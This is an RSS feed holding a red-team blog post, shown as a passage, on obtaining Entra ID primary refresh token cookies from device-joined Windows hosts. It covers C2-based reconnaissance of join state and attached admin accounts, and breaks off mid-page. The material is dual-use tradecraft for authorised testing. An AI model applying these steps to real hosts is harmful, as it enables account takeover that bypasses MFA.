<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Offsec Ramblings]]></title><description><![CDATA[My offensive security blog delving into ideas related to Active Directory, penetration testing and red teaming]]></description><link>https://blog.tw1sm.io</link><image><url>https://substackcdn.com/image/fetch/$s_!t7Mj!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8787d3e4-6183-4a34-9ebc-303ca3ee0c8b_1280x1280.png</url><title>Offsec Ramblings</title><link>https://blog.tw1sm.io</link></image><generator>Substack</generator><lastBuildDate>Sun, 05 Apr 2026 13:10:47 GMT</lastBuildDate><atom:link href="https://blog.tw1sm.io/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Matthew Creel]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[tw1sm@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[tw1sm@substack.com]]></itunes:email><itunes:name><![CDATA[Matt Creel]]></itunes:name></itunes:owner><itunes:author><![CDATA[Matt Creel]]></itunes:author><googleplay:owner><![CDATA[tw1sm@substack.com]]></googleplay:owner><googleplay:email><![CDATA[tw1sm@substack.com]]></googleplay:email><googleplay:author><![CDATA[Matt Creel]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[An Operator’s Guide to Device-Joined Hosts and the PRT Cookie]]></title><description><![CDATA[Introduction]]></description><link>https://blog.tw1sm.io/p/an-operators-guide-to-device-joined</link><guid isPermaLink="false">https://blog.tw1sm.io/p/an-operators-guide-to-device-joined</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Mon, 07 Apr 2025 16:37:56 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!K4bJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>Introduction</strong></h1><p>About five years ago, <a href="https://x.com/tifkin_">Lee Chagolla-Christensen</a> shared a <a href="https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30">blog</a> detailing the research and development process behind his <a href="https://github.com/leechristensen/RequestAADRefreshToken/">RequestAADRefreshToken</a> proof-of-concept (POC). In short, on Entra ID joined (including hybrid joined) hosts, it&#8217;s possible to obtain a primary refresh token (PRT) cookie from the logged in user&#8217;s logon session, enabling an attacker to satisfy single-sign-on (SSO) requirements to cloud resources. <a href="https://x.com/_dirkjan">Dirk-jan Mollema</a> has also <a href="https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/">blogged</a> about this capability, where he noted that these PRT cookies (and access tokens requested with them) may contain the multi-factor authentication (MFA) claim &#8212; enabling the attacker to access MFA-protected resources.</p><p>For a capability that has been publicly known for half a decade, I&#8217;ve seen shockingly little online reference to it. I&#8217;m not sure if the frequency at which I encounter cloud/hybrid joined devices has recently increased or if I was sleeping on this capability for literal years (more likely), but this tradecraft has been a serious crutch on red team operations in the last six months. While some teams out there are undoubtedly reaping the benefits of this tradecraft during routine operations, I think there are probably quite a few operators out there who, like me, came across the prior works I&#8217;ve linked to but didn&#8217;t immediately connect the dots.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!K4bJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!K4bJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png 424w, https://substackcdn.com/image/fetch/$s_!K4bJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png 848w, https://substackcdn.com/image/fetch/$s_!K4bJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png 1272w, https://substackcdn.com/image/fetch/$s_!K4bJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!K4bJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png" width="875" height="492" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:492,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!K4bJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png 424w, https://substackcdn.com/image/fetch/$s_!K4bJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png 848w, https://substackcdn.com/image/fetch/$s_!K4bJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png 1272w, https://substackcdn.com/image/fetch/$s_!K4bJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0402c43-f6a5-4817-8e96-97ccbbf484b1_875x492.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This blog won&#8217;t contain any truly new information or research, but it will try to distill some operationally-focused knowledge that I learned while fumbling through this tradecraft over the last year.</p><h1><strong>Situational Awareness</strong></h1><p>A new beacon has called back to your C2 server and you want to know if this blog is applicable to you! This tradecraft will work from device joined hosts &#8212; hosts that are either Entra ID joined (cloud-only join) or hybrid joined (joined to both Entra ID and on-premises AD), so we need to identify the join state.</p><p>Relevant join information, including the join type, can be obtained by calling <code>NetGetAadJoinInformation</code> from <code>NetApi32.dll</code>. I created a small Beacon object file (BOF) to call the API, which can be found in <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF/pull/128">this PR</a> to the TrustedSec situational awareness (SA) BOF repo. We&#8217;re looking for the &#8220;Device join&#8221; <a href="https://learn.microsoft.com/en-us/windows/win32/api/lmjoin/ne-lmjoin-dsreg_join_type">join type</a> (as opposed to workplace join, where an Entra ID work/school account is added to the device but the device isn&#8217;t joined to Entra ID).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6BVH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6BVH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png 424w, https://substackcdn.com/image/fetch/$s_!6BVH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png 848w, https://substackcdn.com/image/fetch/$s_!6BVH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png 1272w, https://substackcdn.com/image/fetch/$s_!6BVH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6BVH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png" width="875" height="285" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:285,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!6BVH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png 424w, https://substackcdn.com/image/fetch/$s_!6BVH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png 848w, https://substackcdn.com/image/fetch/$s_!6BVH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png 1272w, https://substackcdn.com/image/fetch/$s_!6BVH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F486b2899-7623-4bda-9230-20e85baf7d1b_875x285.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Join Type Enumeration</figcaption></figure></div><p>Some of the other information can be useful, including the tenant ID and user join information, which reveals some details about the account that was leveraged to perform the Entra ID device join (in this case, the same account I&#8217;m logged in with locally in the lab, but that is not guaranteed to always align).</p><blockquote><p><em><strong>Note:</strong> I&#8217;m using <a href="https://github.com/HavocFramework/Havoc">Havoc</a> and its demon agent for C2 in my lab environment since it&#8217;s easy to set up, there&#8217;s no licensing to mess with, and it nicely approximates some relevant capabilities of commercial frameworks; however, the tradecraft discussed in this post is C2-agnostic. Most if not all of the tools that are referenced already have Cobalt Strike aggressor scripts or can be easily hooked into your C2 of choice.</em></p></blockquote><p>We can also get most of this information from the registry under the key <code>HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin</code>. If present, its values hold information on the device join state and associated Entra ID tenant. An easy approach is to use <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF">TrustedSec&#8217;s SA</a> <code>reg_query_recursive</code> BOF to surface the interesting values that are stored there.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ex-W!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ex-W!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png 424w, https://substackcdn.com/image/fetch/$s_!Ex-W!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png 848w, https://substackcdn.com/image/fetch/$s_!Ex-W!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png 1272w, https://substackcdn.com/image/fetch/$s_!Ex-W!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ex-W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png" width="875" height="279" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:279,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Ex-W!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png 424w, https://substackcdn.com/image/fetch/$s_!Ex-W!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png 848w, https://substackcdn.com/image/fetch/$s_!Ex-W!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png 1272w, https://substackcdn.com/image/fetch/$s_!Ex-W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fead28b75-90b3-4b0f-b058-7cea6ea0ab2f_875x279.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Join Info Enumeration via the Registry</figcaption></figure></div><p>The <code>JoinInfo</code> key won&#8217;t be present on workplace joined hosts, so just the presence of that key and its values should indicate we&#8217;re on a host that is device joined.</p><p>Alright; we&#8217;ve determined the host is Entra ID joined (cloud only in my lab), so the next question is, &#8220;What work or school accounts are added to the device?&#8221; Or, &#8220;What accounts can I obtain refresh token cookies for?&#8221;</p><p>Initially, this seems like it should be a 1:1 relationship with the account our agent is running in the context of. It probably will be in most cases; however, I&#8217;ve encountered production environments where we were able to obtain refresh tokens for multiple Entra ID accounts associated with the compromised user&#8217;s logon session. This can happen if the user has added multiple &#8220;work or school&#8221; accounts within System Settings. Envision a scenario involving a user who has been provisioned a separate admin account; if the user adds both their standard Entra ID account and admin Entra ID account to their user profile, now from the standard user account logon session our agent is running in, we can obtain a refresh token for both accounts. I&#8217;ve attempted to mimic this in my lab setup (I&#8217;m logged in on the box as <em>MattC@specterdev.onmicrosoft.com </em>and the agent is running as this account), but I&#8217;ve also connected a second account to my profile (i.e., <em>admin-mattc@specterdev.onmicrosoft.com</em>) within System Settings.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!107s!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!107s!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png 424w, https://substackcdn.com/image/fetch/$s_!107s!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png 848w, https://substackcdn.com/image/fetch/$s_!107s!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png 1272w, https://substackcdn.com/image/fetch/$s_!107s!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!107s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png" width="875" height="298" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:298,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!107s!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png 424w, https://substackcdn.com/image/fetch/$s_!107s!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png 848w, https://substackcdn.com/image/fetch/$s_!107s!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png 1272w, https://substackcdn.com/image/fetch/$s_!107s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c0369c6-3c1d-4965-8493-fb864493130c_875x298.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Multiple Entra ID Accounts Added to the User Profile</figcaption></figure></div><blockquote><p><em><strong>Note: </strong>In these scenarios where multiple work/school accounts are in play, you can obtain a PRT for the account the user is locally logged in with and can obtain a refresh token for the other account(s). I&#8217;ll cover this more in the next section.</em></p></blockquote><p>Finding a C2-friendly way to enumerate which work/school accounts have been added to the user&#8217;s profile has proven to be the most difficult part of putting these tradecraft notes together. If you&#8217;re familiar with enumerating cloud-joined or hybrid-joined devices, you probably know that you can use <code>dsregcmd.exe</code><em> </em>to enumerate the information we&#8217;ve discussed thus far, and it can also be used to list &#8220;web account manager (WAM) accounts.&#8221; If you are unfamiliar with the WAM, it is a technology on Windows that allows software such as the Microsoft Authentication Library (MSAL) to acquire tokens for cloud-based accounts. These cloud-based accounts include Entra ID accounts, AD FS accounts (which are sometimes referred to as &#8220;Enterprise&#8221; accounts), personal Microsoft accounts, and Microsoft work or school accounts. The <code>dsregcmd.exe</code><em> </em>utility will collectively call all of these account types &#8220;WAM accounts&#8221; because the WAM can acquire tokens for all of them. The phrase &#8220;WAM account&#8221; is seldom used elsewhere and &#8220;cloud-based accounts&#8221; may be a more appropriate phrase, but we will stick with using &#8220;WAM account&#8221; in this blog to stay consistent with the output of the <code>dsregcmd.exe</code><em> </em>utility.</p><p>If we&#8217;re feeling into process creation and/or spawning <code>cmd.exe</code>, we can leverage <code>dsregcmd.exe</code> with the <code>/listaccounts</code> flag to enumerate WAM accounts that have been added (or the <code>/status</code> flag to enumerate the device&#8217;s join state).</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JazH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JazH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png 424w, https://substackcdn.com/image/fetch/$s_!JazH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png 848w, https://substackcdn.com/image/fetch/$s_!JazH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5652e15b-9821-4128-9ce4-83fe0f776082_875x167.png 1272w, 